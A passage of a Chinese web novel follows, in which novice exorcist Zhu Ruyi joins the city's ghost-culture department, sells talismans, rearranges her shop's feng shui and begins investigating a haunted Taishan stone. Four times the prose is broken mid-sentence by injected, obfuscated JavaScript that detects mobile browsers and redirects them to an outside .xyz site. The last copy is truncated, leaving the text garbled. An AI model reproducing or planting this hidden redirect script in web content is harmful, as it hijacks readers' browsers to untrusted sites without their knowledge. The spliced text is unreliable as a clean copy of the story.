没想到走进来一看，这片区域的居民竟然一片和谐，生病的、倒霉的都很少，大妈大爷在老树下下棋，小孩子抱着西瓜油光满面地四处乱窜。 “是不是我们进来的方式不对？” 这跟他们想的警笛长鸣的场面根本不一样，路上连个踩香蕉皮的都没有！ 宣传部的人神色震惊，这是怎么回事？ 8. 你好，我纯路人 宣传部其实挺忙的，锦花市是个靠历史吃饭的旅游城市，文化底蕴虽厚，但有能力的人大多都不会留在本地，如今市里压根就没有多少会捉妖除鬼的人。 像祟气横行这种大范围事件，宣传部都是先把有能力除祟的人组织起来，让他们互相帮忙、优先处理好住所附近的事务，再向外扩散。 这样没有除鬼师的街道就比较吃亏。 方圆街附近是医学中心，基本上属于玄学绝境，一向没有除鬼师愿意来，而且一般磕磕绊绊的小伤，附近的诊所、药房、医院都能及时处理。 加上医学气也是正气，不太严重的祟气在这附近，短则三月长则半年就会自动消弭，所以相对安全的方圆街就这么被有意无意地留到最后了。 等到其他区域都打扫干净，大部分人都累得下不了床，部里就特意指定了几个还有余力的除鬼师过来帮忙。 市里哪些地方没有除鬼人镇守，锦花市app的《锦花街巷志》都有一个星星标识，方圆街附近都灰了十几年了。 大家来之前还特意看过，绝对不可能出错，就猜测可能附近出了省状元之类的文曲星武曲星，这类祥瑞之气，也可以大范围冲刷掉附近的污秽之气。 保险起见，他们还是在路边找了个纯路人打听了一番，问：“小姑娘，你们街最近有没有出过什么怪事？” 该纯路人正是放学来买冰糕的豆豆，这可捅了蜜蜂窝儿了。 豆豆掰着手指头，嘴甜甜地说：“多着呢，你看我吧，早前被遭瘟的奶奶下了害人游戏，差点精神力都被吸干。 可我如意姐做了福祸娘，把游戏赶跑了。之后我们街受了这个破游戏影响，变得特别奇怪，好多人都跟丢了钱似的，一开口火药味儿老鼻子冲了，还经常打架，时不时倒个小霉，不过都被如意姐做的钟馗糕治好了。” “至于我，虽然被她救了，但还是纯路人，只会说公道话。” 梅豆豆滔滔不绝，除鬼师面面相觑。 钟馗糕不就是一般的祈福糕点吗？荷香村都能做，吃个口彩而已，怎么可能有用？ 那福祸娘肚子里装的也是个普通的驱鬼咒，法力低微，怎么可能直接把鬼念走！ 打听完以后，由于不知道祝如意实力如何，他们也没冒然上门，只是辗转托几个在地上打弹珠的小学生买几个冰糕和福祸娘打算拿到部里研究。 东西太贵，大家路上都没舍得吃，中途怕冰化了，还特意浪费了一只纸马，快马加鞭地赶回去跟部长杨贵生汇报，冰糕也特意切成了诸多小份分下去。 外行看热闹内行看门道，舒缓的法力在嘴里走了一圈后，大家就有点震惊。 杨贵生也奇怪：“方圆街有了除鬼师，我怎么不知道？没来登记吗？” 在一边吃瓜的小马哥有点尴尬地把祝家事说了一遍，道：“她才刚入行没多久，前阵子来登记的时候连个法术都不会，就没给她发除鬼师的牌子。” 谁知道这人这么快就能除祟制符了？ 杨贵生更是惊奇，这符谁家都会几道，但像祝如意这样没有家学渊源，还能把基础符刻出灵性的，当真不多见。 - 这天，祝如意打开《锦花市鬼怪闲谈》app，忽然发现自己收到了成为除鬼人的通知。她这才知道原来当除鬼人还需要考试，由于她独自清理方圆街，无形中算是通过了考核。 宣传部还说每年部长都会举办迎新会，这次也一样，请她三日后去吃火锅。 这个宣传部，也太接地气了，也太像在上班了！ 虽然祝如意不知道他们什么时候来了一趟，还弄清楚了是她在除祟，但她也不打算拒绝。 通过这次事件，祝如意也发现了，方圆街在锦花市鬼怪界地位很一般，她多结识点同事也是好事，以后在再有什么事，也方便摇人不是。 当然，如果迎新会上能多认识几个大佬，请他们出手帮忙找一下妈妈，那就更好了。 回去后祝如意就跟家里说了这事，祝家人都很支持，人是群居动物，一个人闷在永安堂多无聊？ 方老太还问要不要给她买个道士服什么的。 祝如意没要，神灵没办法现世，正统道经佛经已经用不了了。现在除鬼师用的，都是自家祖先开创的术法，穿道袍多不合适啊。 到了迎新会那天下午，她关了门，穿了件简约的白色连衣裙和帆布鞋，骑着小黄油就过去了。 因为画的符不够好，不好卖给居民。祝如意就都揣上了，想着要是有人卷起来要送见面礼，她就把这个送出去。 鬼怪文化宣传部很大，跟传统的道观佛寺完全不同，它就是个很现代化的大院儿，白墙黑瓦，院子里按风水五行栽了一些果树，还有些鸡鸭猫狗。 迎新会人很多，但新人很少， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042943|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一共也就四个人，还都是二十多岁的年轻人，但领着祝如意进门的人竟然感慨了一句：“好多人啊！” 可想而知，鬼怪界人才凋零到什么地步，一代人就这么多，长年累月一起做事，可不就相当于同学了吗？同窗之谊，何等珍贵，也难怪方圆街摇不到人了。 杨贵生一家都住在部里，今天待客，他一双刚上小学的儿女也在家等着吃好的。 两小孩儿闲的没事干盘着腿在院子里斗鸡耍宝，不过比较奇怪的是，两人身上看起来都像穿了一层卡其色的软盔甲，怎么斗都不会破。 祝如意看见，转头问旁边一个做事的小哥，乡巴佬似的问：“这是什么？” 小哥一脸“别闹了”的表情：“你在开玩笑吗？聚土成甲都不知道？除鬼世家不都是从小玩这个长大的吗？谁的盔甲被斗裂就算输了，你没玩过？” 祝家以前就出了祝素秋这一个半吊子除鬼人，学一点儿东西都得四处求爹爹告奶奶让人教她，遇见真的还好说了，遇见装神弄鬼的骗子，除了回来画个圈圈诅咒他基本啥都干不了。 祝如意当然也不知道什么“聚土成甲”。 小哥说到这里也反应过来了，他是听人说过今天会来一个半路出家的除鬼师，他没想到人竟然这么年轻，还是个漂亮的大姑娘，于是缓了口气：“……这有什么，我教你，反正人人都会。” 祝如意学了一遍就会了，念完口诀后，皮肤上慢慢爬上了一层坚硬的薄土。 “……你刚刚就是故意逗我的吧？”小哥神色微妙，一副被玩弄了的样子：“不然也会得也太快了！” 他小时候学这个学了三个月！就算现在人长大了法力强了，但要说重新掌握一门基础法术，怎么也要个三四天，哪有一下就学会的。 祝如意也有点惊讶，她妈说她天赋不错，她一直以为是普通人里的不错，现在看来好像不是这么回事，她正高兴呢，解除术法一看，自己身上竟然沾了不少灰，像刚刚斗鸡玩的小孩就干干净净的。 她厚着脸皮又问：“怎么样可以让身上少沾一些土呢？” 小哥这下相信她是刚学的了：“……法力需要均匀地精准覆盖到每一粒尘土上，连这个都没人教过你吗？” 这就是家学渊源的好处了。 这么简单的道理，因为祝家以前没有出过除鬼师，就没有办法知道，祝如意酸溜溜地想。 9. 折纸为兵 小哥也不是坏人，一时口直心快，见祝如意目露感慨，也觉得不好意思，还安慰她：“其实你已经很不错了。” 宣传部听起来是编制内的铁饭碗，实际职位跟隔壁完全不同，必须要每代法术出众的佼佼者出任。 现在没有神仙，只有家仙，像张天师张道陵，现在也就供奉他最多的龙虎山张家人能借一点他的法力。 杨家祖上出过比较厉害的祖宗，所以锦花市的宣传部长差不多算被杨家世袭了。 半路出家的人上哪去找个家仙，除非去做出马仙，找黄鼠狼之类成了精的的动物做祖宗。 祝如意能混上除鬼师，实属祖坟冒青烟。 祝如意则想，搞不好她妈其实也是天才，只是活生生让家族垄断给断了修行路了，山顶比天赋，山腰比汗水，依祝素秋的经历来说，她还远远没走到比天赋的时候呢。 祝如意跟他说了一通，知道了这话唠小哥叫徐行知，也是今年刚当上的除鬼师，爸妈都是正统神棍，前几年因为处理一些事情身故了，之后一直留在杨家。 徐行知对杨家人感情很复杂：“杨部长怕咱们市道统断绝，愿意把家里的典籍拿出来分享，还四处搜寻可靠的法书，放在app里让人兑换阅览，可卖的价格也太贵了，人又坑又抠，以后你遇见他可得躲远点儿。” “原来那缺德书是他卖的！”祝如意犯愁了：“可我妈失踪十几年了都没找着，杨部长这么厉害，我以后肯定得登门拜访。” 她最近阅读了不少典籍，逐渐明白了一个道理，——寻人术很难。 在十万人里找一个人容易，在十亿人里找个人，那可不是大海捞针吗？普通的寻人术，还赶不上天眼呢。 更厉害的寻人术，祝如意不仅见不到，即使见到学会了，也不知道过去多少年了，最快的途径还是边学边请高人。 杨部长这么厉害，她早就打算逮住机会请人出手了。 现在一看，还不如她自己上呢，等永安文创赚够钱，黄花菜都凉了。 做人最重要就是知趣，徐行知没追问祝素秋的事，还给她出主意：“找那钱串子干什么，今天找他说话，明天你家都是他的了，还不如找谢家人，谢家擅长折纸术，一人能抵千军万马，找他们怎么也比找杨部长划算多了。” …… 杨家人准备的火锅很好吃，火箭鱿鱼和墨鱼丸都是新鲜的，煎过的牛小肠一点苦味也没有，祝如意一边吃一边眼睛就溜到旁边的长相俊美的谢姓青年身上了。 谢酬神头发微长，穿着深灰色的短袖配一条牛仔裤，整个人小龙女似的，看起来一副不沾人间烟火的样子，席间也没怎么动筷子，离祝如意也很远，倒是跟着他一起来的老师父，混似黄鼠狼上身，专挑着鸡肉吃，嗦得遍地鸡骨头。 他则垂眉敛目地在一边折纸，骨节分明的手指捏着白纸，上下翻飞，手执棍棒的纸人就出来了。 这一幕让祝如意想到了李煦，他在家折元宝也是这样。 当然同样是折东西，李煦和谢家人差别就大了，谢酬神折的是纸兵，是特意准备给这次除祟后还没缓过神的除鬼师的，人累的时候可以暂时以法术催动纸人顶一阵。 要折厉害的替身纸人，需要在背面写上本人的八字，在纸人腹中放上指甲毛发等息息相关的血肉，五官身形都要与本人有七成相似。 但扛个三五天的纸兵人，就不需要这么复杂。 折纸忌讳画龙点睛，谢酬神用的是白纸，更看不出纸人表情。 即使这样，祝如意远远一看，也觉得那些东西栩栩如生，睡着了似的，甚至脸上还有微微的红晕，仿佛在呼吸一般。 自古以来都是女娲造人，盘古开天，人造人显然太过逆天，谢家人还因此受过天谴，每代子弟都活不过三十岁，越厉害越短命。 像谢酬神，折纸一向会故意缺胳膊少腿，还是年纪轻轻就成了大师。 可惜今年已经二十四了，还有六年的寿命，也太暴殄天物了。祝如意唏嘘一阵，心里还想着找他问一问，能不能借借纸兵找找祝素秋。 但人家今天不仅是来撑场面，还是来干活的，能出席跟他们一起吃饭已经算赏光了，一直到散场祝如意都没找着机会跟他说话。 当然，有了谢酬神做卷王分纸兵，祝如意也把自己写的破魔符分了出去。 修行之人互相交换自己的符跟运动员互相交换徽章一样普通，大部分人收了以后都回了礼，没太在意。 只有徐小哥看在摆了场龙门阵的份儿上，把这张符用软胶保护套存了起来，挂在自己做的“符袋”上。 不过在一边折纸的谢酬神收到诸多符纸后，没忍住默默看了一眼祝如意。他本来没打算给所有人都折兵人…… 祝如意这边收到的是一只拿着杀威棒的小兵人，看起来凶声恶煞特别生气的样子。 她觉得跟自己的钟馗糕一样可爱，就当做吉祥物挂在了包包上。 临走前，还想，原来谢大师也不是外表看起来那么高冷嘛！ —— 迎新会结束后，锦花市没多久又出现了新怪谈，据说很多社畜加完班回家，路过一些阴邪之地时偶尔会遇见行动僵仪容怪异的人群在唱念做打。 一些想捞阴门的社畜还特意学聊斋王生，带了些酒菜去问发财之术，结果发现对面也是韭菜，脸色僵硬，行动迟缓，都是上班上的。 社畜顿时心有戚戚焉：唉，这年头跳大神也不容易…… 祝如意的永安文创因此也沾了点小光，莫名来了一些好心的社畜光顾。 这些上班族年纪都不大，很多都是上班死人微活，下班活人微死，一进酒吧满血复活的有为青年。 看到永安文创这么阴间，一些妹子还会特意在周末穿上暗黑风服装来拍照。 祝如意去免费充当过几次摄影师，她摄影技术寻常，永安文创也就是个普通阴暗的老街房，但妹子们发上小地瓜的照片可不是这样。 祝如意看过几张，修得完全跟盘丝洞似的，她都吓了一跳。 尤其有几张照片还拍到了洗完头，黑发覆面的柳杏杏。 很多评论都说这个是女鬼，这个言论一出来，贴主马上就删了帖子说照片是自己修的，还放了一些原图，但离谱的事这帖子被营销号搬了以后还是万转了。 那么多人，浑然不见人柳杏杏手上还端着塑料盆。 祝如意就想，这柳杏杏这霉运也没谁了，一个大活人的生活照还能引起灵异方面的讨论。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042944|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柳杏杏也觉得晦气，也不知道是不是冰糕吃多吃出抗体了，最近钟馗糕对她都没用了。 她哭丧着脸，过来让祝如意看相：“如意，你给我看看，我还要倒霉到什么时候。” 现在祝如意在她心里，就是个大隐隐于市的扫地僧，只要她能转运，这冰糕就是卖八百她都买！ 祝如意这几天确实学了怎么看人面相，闻言用朱砂在眉心化了只眼睛，默念口诀，天眼一开，吓得往后一跳：“大姐，你谁？” 柳杏杏眉目含冤：“我印堂发黑像包拯？” 祝如意语气凉凉的：“包拯？怕不是少包里演焦尸的那个黑人吧？” 一般倒霉的人只是印堂发黑，注意不是发暗，是发黑，祝如意生活在医院附近，见过不少将死之人，皮肤都是蜡黄中透着一股黑气，正常来说这类人寿命都不会超过两周。 柳杏杏唇红齿白，外表看起来并没有什么不妥，五官分开看的话：她天庭饱满，耳廓圆润，分明是有福之人。 但仔细观察就能发现，有福的五官在她脸上莫名组成了一副衰相，完全是相书里说的天生歹命。 而且开了天眼去看她，还能看到，她整个人皮肤都爬上了一层淡淡的黑气，只是因为旁边有白色的医学之气不停冲刷冲淡，才没有真的成为黑炭。 柳杏杏整个人都不好了，要是别的神棍跟她这么说，她少不得吐几口口水，祝如意可是让她抽出ssr的人，由不得她不信啊！ “什么！天生歹命？！”柳杏杏很绝望：“……那我能转运吗？难不成一辈子都要这么倒霉？” “转运是个大术，命运命运，运素来和命相连，气运转换基本都需要血亲以命换命，这种伤天害理的事，我就是会也不能做。”祝如意说。 柳杏杏都快哭了：“稍微改善也不行？” 这个倒是可以，祝如意：“你等等，我给你刻一道符。” 从宣传部回来后，她就开始琢磨徐小哥说的“均匀”，之前她画符都是感觉身边有一些气，然后强行把它们抓过来往纸木上放，但这些气其实很暴烈，稍不注意就会溜走，符也就不能一气呵成。 在徐行知跟她说了“均匀”之后，祝如意就慢了下来。 私下又跟徐小哥又聊过几回后，她就开始让这些气从丹田过一遍，再从指尖均匀地注入笔锋、刀锋，这样一来，刻出来的木符自然又灵动。 刻符时柳杏杏就在一边看着，虽然她也没见祝如意画得多艰难，但有了冰糕和福祸娘的经验，她也知道价格便宜不了。 祝如意觉得，作为有攻击力的破魔符，怎么也要卖个三百块，她在论坛查过了，基础符大部分都卖八百左右。由于不知道符威如何，她也不好跟练童子功的同事卖一样贵。 再说，人柳杏杏还是老顾客。 “第一次算你三百，好用的话以后就卖八百。”祝如意道。 柳杏杏想起自己在心里说八百也买的话，叹：奶奶的，俺果然是天生歹命，心里默念都能霉运成真…… 不过买了符以后，柳杏杏也放心了许多。正好这周末她要去表姐家吃喜酒，有了护身符，她就敢微微喝一点酒了。 以前这种场合她都要出洋相，有了符总不会那么倒霉了吧？ 10. 永安堂的风水 柳杏杏的表姐王丽丽大学前一直很胖，在学校很受歧视，只有同样没朋友的小表妹愿意跟她玩。 王丽丽投桃报李，结婚也没别选大众眼中的“全福人”做伴娘，而是选了柳杏杏。 表妹体质特殊，王丽丽没敢让她冒险，提前五天亲自开车过来接人。 柳杏杏抱着多喝几杯不出丑的想法嘴叼钟馗糕，手拿护身符，包悬符祸娘全副武装地走了。 “你喜欢？”路上见表姐一直盯着福祸娘看，她还忍着肉痛把福祸娘取下来送给了表姐。 王丽丽神色微妙，她也是有品位的好吗？正常人一看就知道她是嫌弃吧？想起表妹缺根筋的性格，王丽丽无力道：“……我很喜欢。” 殊不知柳杏杏内心是有点崩溃的，她没想到几年不见，表姐的审美观竟然发生了如此大的转变，半路上她就开始担心姐夫是一只靓丽的猪头三…… 两人都思绪复杂，再回神路就有点不对了。 拐了一个弯后，原本的柏油马路竟然越收越窄，成了乡间小路，两边的汽笛声、喧闹的人声、食物的味道通通不见了，取而代之的是一片灰蒙蒙的天色。 柳杏杏惊恐地说：“路边是不是有七个人穿着花花绿绿但又很过时的衣服，在朝我们招手啊？” 王丽丽一看也惊了，那些人还是左衽，左衽在瓷国主体民族里，是死人才穿的衣服，活人都是右衽。 一时间两个人都屏声敛气，天地间万籁俱寂，只有彼此的浅浅的呼吸声，王丽丽忍不住把车越开越快，但那些人像有飞毛腿似的，甚至还越来越快，人也像山似的越走越高大，一看就让人头晕目眩。 就在他们要追上车时，柳杏杏的手上忽然竖起了一道锋利的金光，如同剪刀一般，迅速把两个世界一分而二。 一时间柳暗花明，灰雾尽退，两人还在柏油马路上，只不过前方就是弯道。 王丽丽急忙踩住刹车，砰的一声，车撞上了弯道护栏，她的头瞬间被安全气囊包裹，车窗也裂了一片，王丽丽捂着头血都没来得及擦，先转过去问副驾驶的柳杏杏：“没事吧？” 柳杏杏惊魂未定，但人就受了点惊吓，皮都没破一点。 忽然，她想起什么似的，挨个把身上保护罩掏出来。 破魔符，灰了，一点朱砂印也没残留，祝如意说过，木符比纸符经用，一张能抵个三五张。 冰棍上的清心符，也灰了。 至于福祸娘，柳杏杏问表姐：“丽姐，你刚刚有没有听到什么特别的话。” 王丽丽在打120，搓着鸡皮疙瘩：“听见了一句‘死鬼！走开！’，不是刚才情况紧急，你挂机玩游戏被人开麦骂了吗？” 柳杏杏：“……不是啊，福祸娘肚子里装的就是这个，但她只会面唾真鬼！” 眼睁睁看着三重保险就这么灰飞烟灭，柳杏杏浑身发寒，问：“丽姐，最近你真的没遇见什么事吗？” 她可从来没这么衰过，也算小衰见大衰，衰到一家去了。 - 这个月永安堂赚了不少钱，祝如意抽空数了一下，竟然也有个三万二左右，刨去最初的成本，照样盈利两万多，她就琢磨买两个空调，一个安在前铺方便客人，一个安在后边主卧，方便午休。 最近白天她上午窝在牛头米粉蹭空调，下午窝在小卖部蹭空调，再厚的皮也蹭红了。 加上永安堂太破旧引起了一些灵异向的都市传闻，祝如意想着干脆趁机一起粉刷算了，她还打算按照风水书说的，给自己布一个好一点的风水局跟隔壁霉运对冲。 永安堂门面选得不错，对面是公园前的小广场，所以修的是圆弧形的马路，这种局就是天然的“玉带环腰”。 懂点门道的店家，会在马路上装减速带，就是为了让车辆行人慢行，形成“流水有情”的小风水局。 这些永安堂通通都有，甚至往前走几步就是红绿灯，人群往来，每天都很热闹。 但她妈似乎只会看大风水不会看小风水，永安堂的纯阴风蓝玻璃在十几二十年前还要靠抢，方老太为了拦住卖家，手指甲都被车门缝夹掉了一只。 但装修了一通后，生意反而不如从前了，为什么有的店地址偏僻，破烂衰败却生意兴旺，有的店交四通八达，窗明几净却人烟罕至，实际就是铺面小风水的问题。 风水中的山水，通俗来说，高的是山，矮的是水。静的是山，动的水，像电扇、时钟、空调，在启动时就是水。 阳宅布局，只有四个方位可以见山。第一个就是正东方，在八卦中正东代表正卦，俗语也有东山再起，日照东山的说法，说明在正东方向就适合摆一些沙发，书柜之类的家具来做靠山。 永安堂以前装修，就是她妈为了拓展店面，把正东方的一面墙打掉，损坏了“靠山”。 祝如意回家说了这事，转头就花了两万五买了两个空调，请工人把墙粉刷了一遍，又买了六个大货架，成套的桌椅板凳，只不过东方位的柜子格外高大。 来刷墙、安空调的师父都记得永安堂小装前的样子，窗户大开都有些阴暗，好像不通风似的。 随着祝如意慢慢摆弄，店内就慢慢璇起了一阵清风，把盘旋在永安堂多年的腐朽之气带了出去，人走在里边撞上这股风，也很舒服…… 想起永安文创的传闻，几个师父走之前还特意买了几道护身符走，问：“能不能做个发财符之类的呢？” 发财的事儿，哪有那么容易，这种符书很贵，祝如意还买不起，她伤感一阵，提醒：“卖的是文创，不保证有用啊。” 师父们拿着符，嗯嗯点头，小祝在这挂羊头卖狗肉，当谁还不知道啊？ 装修好以后。 祟气的事情虽然过去了，周围居民也没有再出现一点就炸的怪异氛围，附近已经来买惯了的熟客有时候路过还会进来买个三块的冰糕溜溜缝儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042945|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以前他们过来，永安堂给人的感觉都是阴森森、湿漉漉的，但士别三日，这氛围怎么就变了？ 有老客出来买西瓜，路过还会给祝如意分一牙沁着水珠的寒瓜，搭话：“怎么感觉铺子大了不少呢？连门口的花圈看着都顺眼了，跟铜钱似的！” 祝如意顿时引以为知己，花圈她就是照着孔方兄定制的啊，这可是她的发财树，那能差劲吗？ 祝家人也很高兴，连李煦看见营业额也没再说让她回去上班的话。 其中最高兴的要属祝老头，两个月前祝如意辞职开永安堂，小区老人都摇头：几十年未见，二十多才伤仲永之怪人。 一些三姑六婆还说：如意说不定以后要吃牢饭当讨口子去了！呔，我就说读书没用吧？ 对这种言论，祝如意适应良好。 祝素秋的能力时灵时不灵，但她灵的时候也没少帮助周围人，像除祟，去晦，这类小碎事，甚至做得还不错。 方圆街附近也有被祝素秋帮过的人，祝如意隐约记得，特别小的时候，还有大妈大爷感念祝素秋往年的帮助，给她送奶糖、水果，后来祝素秋人走了，很多人说她是个江湖骗子，这些人慢慢也就不来了。 之后再见面，其中一小部分人还会像瘟疫一样躲着她，还好那个时候不懂事，偷看祝素秋的书，都悄悄在背地里咒回去了。 想到这里，祝如意笑眯眯的说：“阿公，我又没吃亏，算啦。” 但祝老头吃不下这口气啊，有了装修和期间种种灵异之事，他出门下五子棋都趾高气扬，拉着那些说过孙女小话的人挨个阴阳怪气地说：“我说什么来着，上一个说科学尽头是神学的还是牛顿呐！” 在他心里，孙女儿，俨然略超牛顿，毕竟牛顿又管不了她，他们家如意，迟早是要立地飞升的呀！ 三姑六婆内心：我们买糕，那小兔崽子每次都说只有二十五的，赚了多少走了，还不兴人嘴上说两句吗？ 扬眉吐气后，祝老头特意提着炭烧脆猪舌溜到店里问：“要不要阿公给你买个泰山石敢当回来？你不说这屋没山吗？什么山也比不上泰山。” 祝如意：“一个小铺子放泰山石干什么，压不住还得破财，再说泰山石不是不让倒卖了吗？你上哪买？” 祝老头背着手在店里转悠：“你刘爷爷说的，最近花鸟市场那边有人拉着三轮车在卖，假的五十块一块卖给游客，真的三千块一块卖给熟人，附鉴定证书，假一罚十。” 他去看了一眼，还真像那么回事。 花鸟市场靠近锦花陵园，那地方卖泰山石，祝如意隐约觉得有点不对，但又没想起来哪里不对。 这时闭门离家多日的柳杏杏回来了，她看见祝如意就喊：“救命啊，如意！” 祝如意眉头一跳，问：“破魔符没用？” 柳杏杏摇头：“太有用了！可遇见事儿的是我表姐王丽丽，我是回来搬救兵的！” 11. 喜丧神（上） 柳杏杏把前几天去表姐家路上发生的事说了一遍。 “我表姐胳膊断了一只，还轻微脑震荡。因为亲朋好友都陆续到了，婚礼延期太麻烦只能硬挺着办。” 没想到这几天事越闹越大，婚礼也彻底黄了，她跟表姐一合计，干脆过来请人了。 祝如意听完心里倒是一动，不管是她还是永安堂，要想在这条路上更进一步都需要大量的书籍阅读，但驱除鬼怪这种事，早被圈子里的大师包圆了，就是坑蒙拐骗也有看似仙风道骨的神棍舌灿莲花，轮不到她。 好不容易有一件外单，她当然不会拒绝，而且还想通过这事在鬼怪界扬一点名，方便以后再接外单。 既然要装逼，祝如意就带上了自己能带的一切，还特意画了几套镇宅符、安神符、破魔符，连度厄剑都拎上了。 防止阴沟里翻船，她还打了个电话问徐小哥：“有个单子，你来不来？” 徐小哥作为除妖师遗孤被杨家收养，但他打算存钱把损坏的杨家老宅修好，所以整个人都穷得不行。 思考三秒以示矜持后，徐小哥丢下句“地址给我”就挂了电话，闹得祝如意一时也没弄懂他究竟会不会来。 发了地址后，祝如意特意换了件白色长裙，用小黄油载着柳杏杏去王家。 小黄油老了，平时带祝如意一个人都颤颤巍巍的，柳杏杏面露难色：“我怕压坏它。” 祝如意拍拍小黄油屁股，对它抱有迷之自信：“电器都是越用越好，放着不用才会坏，用久了搞不好以后还能成精呢。” 自从祝如意继承了永安堂，祝大山隔三差五就带着吃的过来遛弯儿，方圆街上就没人没见过他吹嘘孙女会立地飞升那样儿。 乍闻此言，柳杏杏难免生出一种果然是两祖孙的感受，这脸皮，也是没谁了。 - 王丽丽的未婚夫孟云是一家互联网公司的老板，挣了点小钱，新房买在著名的富人小区锦云花园。每层楼都有空中花园，可以放假山奇石，许多贵妇都喜欢在花园喝下午茶拍照。 祝如意以前只在社交平台见过这个富人区，下车一看，果然名不虚传。 孟云还在昏睡，王丽丽也受了伤在静养，开门的是一脸憔悴的孟母。 孟母早年和丈夫离婚，儿子都是丈夫在带，丈夫病故后，她才从乡下上来跟儿子相依为命。 见祝如意这么年轻漂亮，孟母也呆了，且不说她信不信，就依她所见，乡下的大师可都是留长须的男人，妇女很少干这个。 这能行吗？ 柳杏杏看孟母眼神闪烁，直接拍着胸脯：“我这么倒霉，这次车祸都能全身而退！表姐他们肯定没事！” 孟母没好意思说，在了解柳杏杏的体质后，她也担心这个祸是她惹出来的。 干不出赶人的事，她对柳杏杏也很客气。端茶时祝如意就察觉，孟母自己用的是茶杯，给她们端的都是一次性纸杯。 给祝如意也就算了，柳杏杏作为王丽丽的伴娘，又在孟家鞍前马后安顿无喜而返的宾客，几天下来，怎么会连常用的马克杯都没备？ 柳杏杏神经大条，还说呢：“这纸杯是我买的，上边有绒花花纹，好看吧？” 祝如意无语了，暗道：“也好，聪明人活得累。” 倒是王丽丽，拖着病体出来一看，自己去厨房重新用马克杯冲了两杯卡布奇诺，不着痕迹地说了句“小孩子爱吃甜”把杯子换下来了。 孟母叹了口气，王丽丽则靠在沙发上开始代孟云说起最近的遭遇。 “大概一个月前，小孟公司来了一位会算命的新员工，公司里的人掉个什么东西，他都能算出在哪个方位，百试百灵。我和小孟准备搬家，团建时小孟就让他算一新居吉凶，他一算就说我们家正东缺山，需要请一些能镇宅的物件回来摆着。” “过了几天，小孟和朋友去灵台山逛庙会，见人在卖镇宅神，就凑热闹去看了几眼。他是生意人，知道神佛不能乱请，拿起来研究了一会儿就走了。” 没想到从那天起孟云就开始倒霉，喝水容易呛，走在楼下，头顶会无缘无故掉和花盆。 祝如意一想：“都这么反常了，你们也没请人看看？” 王丽丽有点不好意思了：“……放在杏杏身上也就还好吧。” 祝如意再看柳杏杏，她还在点头：“表姐上大学前都很胖，没什么朋友，跟我一起玩啥倒霉事没遇见过？她很长一段时间都以为正常人就是比我少倒霉一点，但不是一点儿不倒霉。” 王丽丽：…… 孟母倒是知道不对，她虚弱道：“我在乡下养的鸡长大了，婚礼不是要发红鸡蛋吗？我回去收鸡蛋，没赶上这茬！” 祝如意服了，半天才说：“那你们后来是怎么发现不对的？” 王丽丽道：“后来他那个员工知道了这事，自己花了三千多给他送了个泰山石，之后不仅没好起来，每晚还都开始做噩梦。” 孟云每晚都梦见自己在乡下一座老宅里玩，大概是在过节，周围许多小孩嘻嘻哈哈地跑，宅子外站了几个看不清脸的大人，手上都提着一些锅碗瓢盆。 他在梦里只有八九岁，被不认识的人带着，对着一尊神像参拜，拜完后就会被抱到一张小床上休息。 过不了多久，房间里会出现一位年轻的男人，他端着一瓷碗汤，抱着孟云，一勺一勺地喂给他。 孟云浑浑噩噩中也觉得事情不对，每晚都仔细地看梦里的场景，他听见他们在说：“花鸟市场二街58号，欢迎下次再来。” 孟云越来越虚弱，王丽丽听说后就去花鸟街看了一眼，老居民跟她说，那地方早就改成陵园了。 王丽丽起了一身鸡皮疙瘩，还是按照孟云说的地点拍了一些照回来。 从残存的蛛丝马迹看，孟云十分肯定，那就是他梦里去的地方。甚至他睡的那张小床，就是58号方位墓地的颜色。 祝如意也听毛了，加上这是第二次听见花鸟市场和泰山石，她不免在意起来，问：“那块石头呢？” 王丽丽夫妻担心送的真是泰山石，也不敢乱丢，所以在见到祝如意前，都用红布封存起来了。 闻言，孟母起身从卧室把石头取出来放在茶几上。 祝如意去掉红布一看，石体顺滑无瑕、石形沉稳，还伴有泰山石常见的黄色纹路和黄斑，看起来还真是一块平淡无奇的泰山石，靠近甚至还能闻到上边经过香火熏陶的檀香味。 孟母道：“我们都请人研究过，这是真的呀。”不然这玩意儿她早丢了。 说着，孟母还取了一股水淋在上边，现场给祝如意展示了一番。 这是民间辨识泰山石最较容易的办法——“淋水现色”，因为石体硬度高，水会在石头表面形成水膜，让纹理更加清新，颜色更加鲜亮。 但祝如意天生阴阳眼，平时为了不影响正常生活，她都会特意关掉，今天来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 